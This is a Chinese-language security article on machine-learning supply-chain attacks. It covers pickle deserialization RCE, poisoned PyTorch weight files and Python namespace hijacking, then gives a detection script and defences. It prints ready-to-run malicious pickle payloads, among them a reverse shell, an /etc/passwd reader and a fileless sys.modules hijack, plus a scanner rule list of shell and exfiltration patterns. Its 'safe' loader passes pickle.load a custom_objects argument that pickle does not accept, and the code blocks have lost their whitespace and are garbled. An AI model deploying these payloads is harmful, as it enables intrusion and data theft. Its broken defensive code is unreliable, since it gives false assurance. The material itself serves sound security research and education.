AI-ML供应链攻击实战：从Pickle反序列化到模型命名空间劫持全程复现

近几年传统软件供应链安全的防护体系已经趋于成熟，SBOM清单、依赖漏洞扫描、制品哈希校验、CI/CD安全卡点等机制，基本封堵了普通源码、依赖包、二进制文件的常规攻击入口。但AI、机器学习场景的供应链攻击，一直处于防护盲区。

绝大多数企业安全团队、AI研发工程师，都默认第三方预训练模型、开源权重文件、训练Pipeline序列化文件是“纯数据文件”。所有人都清楚exe、dll、py文件可以执行恶意代码，却很少有人意识到，pkl、pth、joblib这类模型权重文件，本质是可执行的序列化代码载体。

这也是ML供应链攻击最核心的底层逻辑：攻击者不需要植入恶意源码，只需要投放一个看似无害的模型权重，就能在用户加载模型的瞬间，突破隔离、执行任意代码，甚至劫持Python运行时命名空间，实现持久化驻留、内网横向渗透、模型投毒和数据窃取。

本文从底层原理、漏洞根源、完整攻击链路、实战复现、检测脚本、防御方案全维度落地，拆解Pickle反序列化RCE到ML命名空间劫持的完整攻击体系，所有代码均可直接复制运行，所有防御手段适配生产训练、推理、集群部署场景。

1 ML供应链攻击面拆解：区别于传统软件供应链的核心风险

传统软件开发的供应链链路，核心流转对象是代码、依赖包、编译产物，攻击入口集中在npm、pip、maven等包管理器的恶意包、源码投毒、版本劫持。防护的核心是管住代码的输入和执行。

机器学习工程的供应链链路完全重构，整个流程新增了大量独有的资产和文件形态，安全规则完全不通用。完整的ML供应链流转链路包含数据集、自定义网络结构、训练脚本、序列化Pipeline、模型权重文件、推理服务、集群缓存、开源预训练模型八大核心资产。

其中高危攻击面集中在两个传统安全体系完全覆盖不到的环节：序列化模型文件加载、运行时命名空间动态导入。

1.1 传统安全工具的防护失效点

主流的静态代码扫描、恶意文件检测工具，只会识别脚本、二进制、压缩包中的恶意代码。对于pkl、pth、joblib文件，工具会直接判定为数据文件，跳过代码检测、恶意行为审计。

安全团队常规的哈希校验、病毒查杀、依赖扫描，全部无法覆盖模型文件的隐藏载荷。这就导致目前全网大量开源AI模型、权重文件，都可以被植入后门且长期无人发现。

1.2 ML场景两类核心高危攻击向量

第一类是序列化代码执行向量。Python生态的Pickle序列化机制，不是单纯的数据存储，而是完整的对象状态存储。它可以记录Python对象的类信息、模块路径、执行方法、参数数据。文件加载的过程，就是对象重建、方法触发的过程，天然具备代码执行能力。PyTorch、Scikit-learn、TensorFlow旧版本全部依赖该机制存储模型。

第二类是运行时命名空间劫持向量。ML模型训练和推理大量使用自定义网络层、自定义损失函数、自定义Pipeline组件。模型序列化时会绑定原始运行时的模块命名空间，加载时动态回溯导入对应模块和类。攻击者可以通过覆盖同名类、污染全局模块缓存，篡改模型运行逻辑，实现无文件持久化攻击。

1.3 链式攻击核心逻辑

这两个漏洞不是独立存在，而是可以无缝串联形成完整攻击链：恶意模型文件落地后，用户加载文件触发Pickle反序列化RCE，利用RCE权限篡改Python全局模块缓存，污染运行时命名空间，后续模型完整重建、训练推理流程全部受控于恶意类，最终实现数据窃取、模型投毒、集群横向扩散、服务持久化。

2 Pickle反序列化漏洞底层原理与实战复现

绝大多数开发者只知道Pickle可以存取Python对象，但完全不了解其底层的执行逻辑，这也是该漏洞长期泛滥的根本原因。想要彻底吃透防护逻辑，必须从序列化底层机制拆解，而不是单纯记忆“不要加载未知pkl文件”的口号。

2.1 Pickle序列化核心机制：__reduce__魔术方法

Pickle序列化普通数据（字符串、数字、列表、字典）时，仅做数据转码存储。但序列化自定义类实例对象时，会优先读取对象的__reduce__方法返回值。

__reduce__方法是Python原生的对象重构规则定义方法，返回值固定为三元组结构：可调用函数、执行参数、可选状态数据。Pickle加载文件时，会自动调用该函数并传入对应参数，完成对象还原。

这就意味着，攻击者可以自定义任意类，重写__reduce__方法，绑定系统命令、网络请求、文件读取等恶意行为，将该对象序列化后写入模型文件。受害者加载文件的瞬间，无需任何额外操作，恶意代码自动执行。

2.2 基础RCE载荷实战编写与复现

下面提供可直接运行的恶意Pickle载荷代码，模拟攻击者制作恶意模型文件的完整流程，包含命令执行、反弹Shell、本地文件读取三类主流攻击行为。

# 恶意Pickle载荷生成器 - 实战攻击代码importpickleimportosimportsubprocessimportsocket# 1. 系统命令执行载荷classCmdExecPayload:def__reduce__(self):# 自定义任意系统命令，此处示例读取环境变量、写入恶意文件return(os.system,("echo ML_SupplyChain_Attack >> /tmp/attack_log.txt",))# 2. 本地文件窃取载荷classFileStealPayload:def__reduce__(self):defsteal_file():try:withopen("/etc/passwd","r",encoding="utf-8")asf:data=f.read()# 此处可替换为上传至攻击者C2服务器returndataexceptExceptionase:returnstr(e)return(steal_file,())# 3. 简易反弹Shell载荷（适配内网渗透）classReverseShellPayload:def__reduce__(self):defreverse_shell():# 攻击者C2 IP和端口，自行替换attack_ip="127.0.0.1"attack_port=9999s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((attack_ip,attack_port))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)subprocess.call(["/bin/bash","-i"])return(reverse_shell,())# 生成恶意模型文件（模拟pkl模型权重）if__name__=="__main__":# 生成命令执行恶意文件withopen("malicious_model.pkl","wb")asf:pickle.dump(CmdExecPayload(),f)print("恶意pkl模型文件生成完成：malicious_model.pkl")# 生成文件窃取恶意文件withopen("steal_model.pkl","wb")asf:pickle.dump(FileStealPayload(),f)print("文件窃取pkl模型文件生成完成：steal_model.pkl")

受害者加载文件的代码，就是行业内最通用的标准写法，无任何异常特征，常规代码审计无法发现问题：

# 受害者常规模型加载代码（高危）importpickle# 业务通用加载逻辑，无任何防护model_data=pickle.load(open("malicious_model.pkl","rb"))

执行加载代码后，系统会自动执行预设恶意命令，完成文件写入、信息读取、内网反弹等操作。整个过程无报错、无异常弹窗，完全静默执行。

2.3 PyTorch .pth文件同源风险深度拆解

大量开发者存在认知误区，认为PyTorch的pth权重文件是专用模型格式，不存在Pickle漏洞。实际PyTorch底层的模型存储、加载逻辑，完全复用Python原生Pickle协议。

torch.load()函数底层默认开启pickle反序列化解析，用来还原模型的网络结构、参数配置、自定义层信息。这意味着所有适用于pkl文件的攻击载荷，全部可以直接移植到pth权重文件中，攻击效果完全一致。

# 高危PyTorch模型加载代码（全网通用风险代码）importtorch# 默认启用Pickle反序列化，存在RCE风险model=torch.load("malicious_weight.pth")

PyTorch官方在新版本中提供了weights_only参数，开启后仅加载权重数值，禁止解析Python对象，是目前最简单有效的基础防护手段，但全网绝大多数生产环境均未启用该参数。

2.4 Pickle攻击载荷执行流程图

A[攻击者制作恶意载荷] – 重写__reduce__绑定恶意函数 --> B[Pickle序列化生成pkl/pth文件]
B – 上传开源平台/业务投递 --> C[受害者获取模型文件]
C – 业务代码执行pickle.load/torch.load --> D[触发反序列化解析]
D – 自动调用__reduce__方法 --> E[执行系统命令/文件读取/反弹Shell]
E – 获取服务器权限 --> F[初始攻击立足点达成]

3 ML模型命名空间劫持高阶攻击原理与实战

Pickle反序列化RCE只是初始突破口，只能完成单次代码执行，攻击时效性短、容易被日志捕获。而命名空间劫持是ML供应链攻击的高阶核心，可以实现无文件持久化、进程常驻、逻辑篡改、静默投毒，隐蔽性和危害性远超普通RCE漏洞。

3.1 ML模型命名空间运行机制

普通序列化文件仅存储数据，而ML自定义模型序列化文件会完整记录对象的溯源信息：模块路径、类名称、继承关系、初始化参数。

举个实战场景：开发者自定义一个卷积网络层MyConv，放在mynet.py文件中，训练模型时实例化该类并完成训练。序列化模型时，Pickle会记录该对象归属模块mynet、归属类MyConv。

当其他人加载该模型时，解析器不会使用本地现有类，而是动态根据记录的模块名回溯导入对应模块和类，完成模型重建。这个动态导入的机制，就是命名空间劫持的核心突破口。

3.2 两类命名空间劫持攻击路径实战复现

命名空间劫持分为本地模块覆盖劫持、内存缓存污染劫持两种方式，前者门槛低、适配所有场景，后者无文件落地、隐蔽性极强，适配生产集群环境。

3.2.1 本地模块覆盖劫持（入门实战）

攻击逻辑非常清晰：攻击者提前知晓目标模型绑定的自定义类名和模块名，制作同名恶意模块文件，利用Python模块搜索优先级规则，覆盖原有正常模块。

Python导入模块时，优先检索当前工作目录、自定义路径，最后检索系统依赖库。攻击者只需在业务目录放置同名恶意py文件，即可实现类覆盖。

第一步：正常业务自定义网络类（正常文件 mynet.py）

# 正常业务代码 mynet.pyclassMyConv:def__init__(self):print("正常卷积网络层初始化完成")defforward(self,x):returnx

第二步：攻击者制作恶意同名模块文件（恶意 mynet.py）

# 恶意劫持模块（覆盖原有正常类）importosimportsys# 模块导入阶段自动执行恶意代码print("【命名空间劫持触发】恶意模块加载成功")os.system("echo Namespace_Hijack >> /tmp/hijack_log.txt")classMyConv:def__init__(self):# 初始化植入持久化恶意逻辑self.steal_data()print("恶意网络层初始化完成，后门已驻留")defforward(self,x):# 推理阶段持续触发恶意行为self.send_infer_data(x)returnxdefsteal_data(self):# 窃取本地训练数据、配置文件try:withopen("./config.ini","r",encoding="utf-8")asf:config_data=f.read()print("窃取业务配置成功")except:passdefsend_infer_data(self,data):# 可替换为上传推理数据至C2服务器print("拦截推理数据，完成数据窃取")

第三步：加载绑定MyConv类的恶意模型文件，触发劫持。模型加载时会优先导入恶意mynet模块，所有网络层初始化、推理流程全部受控。

该攻击的核心优势是完全贴合业务流程，恶意代码嵌入模型推理、训练核心链路，常规日志审计、进程监控无法区分正常业务和恶意行为。

3.2.2 内存sys.modules污染劫持（高阶无文件攻击）

本地文件劫持会落地恶意py文件，存在被文件扫描查杀的风险。高阶攻击会结合Pickle RCE，在内存中直接污染sys.modules全局模块缓存，全程无文件落地、无磁盘写入，隐蔽性拉满。

sys.modules是Python全局模块缓存字典，所有导入过的模块都会常驻内存。模型动态导入模块时，会优先读取该缓存字典，不会重新读取磁盘文件。攻击者通过Pickle RCE篡改缓存，即可实现内存级命名空间劫持。

# 无文件命名空间劫持载荷生成代码importpickleimportsysimporttypes# 定义内存恶意类classEvilNet:def__init__(self):print("内存级命名空间劫持成功，无文件后门驻留")defforward(self,x):print("劫持模型推理流程，篡改预测结果")returnx*0# 定义污染模块载荷classModuleHijackPayload:def__reduce__(self):defhijack_module():# 动态创建恶意模块对象evil_module=types.ModuleType("mynet")evil_module.MyConv=EvilNet# 污染全局模块缓存sys.modules["mynet"]=evil_modulereturnTruereturn(hijack_module,())# 生成高阶恶意模型文件withopen("memory_hijack_model.pkl","wb")asf:pickle.dump(ModuleHijackPayload(),f)print("无文件内存劫持模型生成完成")

加载该模型文件后，RCE载荷会直接替换内存中的mynet模块，后续所有依赖该模块的模型操作、业务逻辑，全部调用恶意类，磁盘无任何恶意文件，溯源难度极高。

3.3 命名空间劫持危害分层详解

第一层危害是数据窃取。劫持模型前向传播、数据加载流程后，攻击者可以拦截所有训练数据集、用户推理数据、业务特征数据，批量上传至外部服务器，造成用户隐私、商业数据泄露。

第二层危害是模型投毒。恶意类可以篡改模型权重、偏移参数、推理逻辑，在不影响模型整体准确率的前提下，植入隐蔽后门。针对特定输入输出预设恶意结果，实现风控绕过、识别篡改、业务欺诈。

第三层危害是服务持久化。恶意类常驻模型进程内存，推理服务、训练服务长期运行的场景下，后门会持续驻留，跟随服务重启自动恢复，实现长期控制。

第四层危害是集群横向渗透。ML训练、推理集群通常共享存储、密钥、权限凭证，攻击者通过劫持进程获取集群配置、节点信息、访问令牌，即可横向渗透至集群所有节点，控制整个AI算力集群。

3.4 完整链式攻击架构图

A[攻击者投放恶意模型pkl/pth] --> B[受害者加载模型触发Pickle RCE]
B --> C[内存执行恶意代码 污染sys.modules缓存]
C --> D[劫持模型自定义类命名空间]
D --> E1[数据窃取：拦截训练/推理数据]
D --> E2[模型投毒：篡改推理逻辑与权重]
D --> E3[进程驻留：实现持久化后门]
D --> E4[权限扩散：窃取集群凭证横向渗透]
E1 & E2 & E3 & E4 --> F[AI集群完全受控]

4 全网通用ML供应链攻击真实落地场景

这类攻击不是实验室理论漏洞，而是可以直接落地、常态化存在的实战攻击方式，目前全网大量企业AI业务都暴露在该风险下。下面梳理三个高频真实攻击场景。

4.1 开源模型平台投毒场景

Hugging Face、Github、Gitee、各类AI模型社区，任何人都可以上传预训练权重、模型文件、Pipeline文件。攻击者批量上传植入Pickle载荷和命名空间劫持逻辑的恶意模型，标注高精度、开源免费、轻量化等标签，吸引开发者下载使用。

企业AI工程师下载恶意模型后，直接加载用于模型微调、业务推理、项目开发，无需任何特殊操作即可触发攻击，研发环境、测试环境、生产环境批量沦陷。

4.2 团队协作文件投毒场景

中小型AI团队内部模型文件、训练缓存、Pipeline文件通过网盘、企业微信、Git仓库流转。攻击者利用团队信任机制，替换正常模型文件为恶意版本，团队成员加载文件后触发攻击。

该场景针对性极强，攻击者可以提前适配团队自定义网络结构、模块命名规则，制作精准的命名空间劫持载荷，隐蔽性远超通用恶意模型。

4.3 CI/CD流水线自动拉取模型场景

现代化AI研发流水线会自动拉取远程模型权重、缓存文件，完成模型部署、迭代、测试。流水线运行权限通常包含服务器读写权限、集群访问权限、镜像构建权限。

恶意模型被流水线自动加载后，攻击代码会以流水线高权限执行，直接渗透构建服务器、镜像仓库、生产集群，造成全域安全事故。

5 实战检测：恶意Pickle模型扫描脚本（可直接部署）

目前市面没有成熟的专用ML模型恶意载荷检测工具，我提供一套完整可落地的Python扫描脚本，支持批量检测pkl、pth、joblib文件，识别Pickle恶意载荷、命名空间劫持特征，可直接集成到CI/CD、本地安全检测、服务器定时巡检。

# AI模型恶意Pickle载荷检测工具 v1.0# 支持格式：.pkl .pth .joblib# 检测特征：__reduce__魔术方法、系统调用、模块篡改、命令执行、内网渗透特征importosimportreimportargparse# 定义恶意特征规则（覆盖主流Pickle攻击载荷）MALICIOUS_RULES=[b"__reduce__",b"os.system",b"subprocess",b"sys.modules",b"socket.connect",b"dup2",b"reverse_shell",b"eval(",b"exec(",b"open(",b"requests.get",b"http://",b"https://"]# 支持扫描的文件后缀SUFFIX_WHITE=(".pkl",".pth",".joblib")defscan_file(file_path):"""扫描单个模型文件"""try:withopen(file_path,"rb")asf:content=f.read()hit_rules=[]forruleinMALICIOUS_RULES:ifruleincontent:hit_rules.append(rule.decode("utf-8"))ifhit_rules:print(f"[!] 发现恶意载荷 | 文件：{file_path}| 命中特征：{hit_rules}")returnTrueelse:print(f"[√] 安全文件 |{file_path}")returnFalseexceptExceptionase:print(f"[x] 文件扫描失败{file_path}| 错误：{str(e)}")returnTruedefscan_dir(dir_path):"""批量扫描目录下所有模型文件"""risk_files=[]forroot,_,filesinos.walk(dir_path):forfileinfiles:iffile.endswith(SUFFIX_WHITE):file_full_path=os.path.join(root,file)ifscan_file(file_full_path):risk_files.append(file_full_path)returnrisk_filesif__name__=="__main__":parser=argparse.ArgumentParser(description="ML模型Pickle恶意载荷批量检测工具")parser.add_argument("--path",required=True,help="扫描文件/目录路径")args=parser.parse_args()ifos.path.isfile(args.path):scan_file(args.path)elifos.path.isdir(args.path):risk_list=scan_dir(args.path)print(f"\n扫描完成，共发现风险文件{len(risk_list)}个")ifrisk_list:foriteminrisk_list:print(f"风险文件：{item}")else:print("路径不存在！")

脚本使用命令，直接复制终端执行即可：

# 扫描单个模型文件 python pickle_scan.py --path ./malicious_model.pkl # 批量扫描整个模型目录 python pickle_scan.py --path ./model_zoo/

该脚本基于二进制特征匹配，不加载模型文件，不会触发恶意代码执行，绝对安全，适配所有生产环境。

6 分层防御体系：从临时应急到长效落地方案

结合第一性原理追溯漏洞根源，所有ML供应链攻击的核心问题只有两个：不安全的序列化解析机制、不受控的动态模块导入机制。所有防御方案都围绕这两个根源设计，分层落地、逐级加固。

6.1 基础应急防护：阻断Pickle代码执行

优先解决最直接的RCE漏洞，全员修改模型加载代码，杜绝默认不安全加载方式。

PyTorch环境强制启用权重安全加载模式，仅读取数值参数，禁止解析Python对象，彻底杜绝__reduce__载荷执行：

# PyTorch 安全加载写法（生产强制使用）importtorch# weights_only=True 关闭对象解析，仅加载权重数据model=torch.load("safe_weight.pth",weights_only=True)

通用Python序列化场景，彻底淘汰Pickle存储模型和数据集，替换为行业安全标准格式：SafeTensors、ONNX、Numpy二进制、JSON。这类格式仅存储纯数据，无任何代码解析、对象重建逻辑，从根源杜绝攻击。

所有外部来源的模型文件，必须先经过沙箱扫描、特征检测、哈希校验，禁止直接在训练、推理、开发环境加载未知模型。

6.2 进阶防护：彻底封堵命名空间劫持

命名空间劫持的核心是动态无限制导入模块，防护核心是白名单强制绑定可信类，禁止动态回溯导入未知模块。

# 安全模型加载：自定义类白名单绑定importpicklefrommynetimportMyConv,MyBN# 仅允许可信类，禁止动态导入外部模块TRUSTED_CLASSES={"MyConv":MyConv,"MyBN":MyBN}withopen("model.pkl","rb")asf:# 关闭自动导入，强制使用本地可信类model=pickle.load(f,fix_imports=False,custom_objects=TRUSTED_CLASSES)

严格管控Python模块搜索路径，清理业务环境下的当前目录检索权限，限制sys.path仅包含官方依赖库、业务可信目录，杜绝本地同名恶意模块覆盖。

容器化部署的推理、训练服务，开启文件系统只读权限，禁止运行时写入新的py模块文件，封堵本地模块劫持路径。

6.3 长效企业级供应链管控方案

第一，搭建企业内部私有模型仓库，统一收纳、审核、存储所有模型权重，禁止研发人员直接从公网下载模型投入业务使用。所有外部模型入库前必须完成恶意特征扫描、哈希备案、安全审计。

第二，CI/CD流水线新增模型安全卡点，集成上文扫描脚本，流水线构建、部署阶段自动扫描所有模型文件，发现恶意特征直接阻断流程，拦截风险上线。

第三，全量模型文件维护SHA256哈希清单，所有模型加载前强制校验哈希值，防止模型文件被替换、篡改。

第四，ML进程最小权限运行，训练、推理服务禁止root、高权限账号启动，限制恶意代码逃逸容器、读写宿主机、访问集群凭证的能力，降低攻击危害。

7 总结

AI-ML供应链攻击的隐蔽性，来自行业长期的认知偏差：所有人都把模型文件当数据，攻击者却把模型文件当代码。Pickle反序列化漏洞提供了初始攻击入口，命名空间劫持提供了持久化、高阶渗透的能力，两者结合形成了完整、成熟、可批量落地的攻击体系。

防护的核心不是堆砌安全规则，而是回归技术本质：彻底淘汰不安全的序列化机制、严格管控模型加载的动态导入权限、建立专属的ML供应链安全审计体系。在AI规模化落地的当下，模型文件已经成为企业网络安全的核心突破口，这部分防护能力是所有AI研发、安全团队必须补齐的短板。

互动提问

1、你的项目中是否还在直接使用torch.load默认加载和 pickle.load 加载外部模型？

2、你们团队目前对开源预训练模型，是否有专门的安全检测和哈希校验流程？欢迎在评论区留言交流。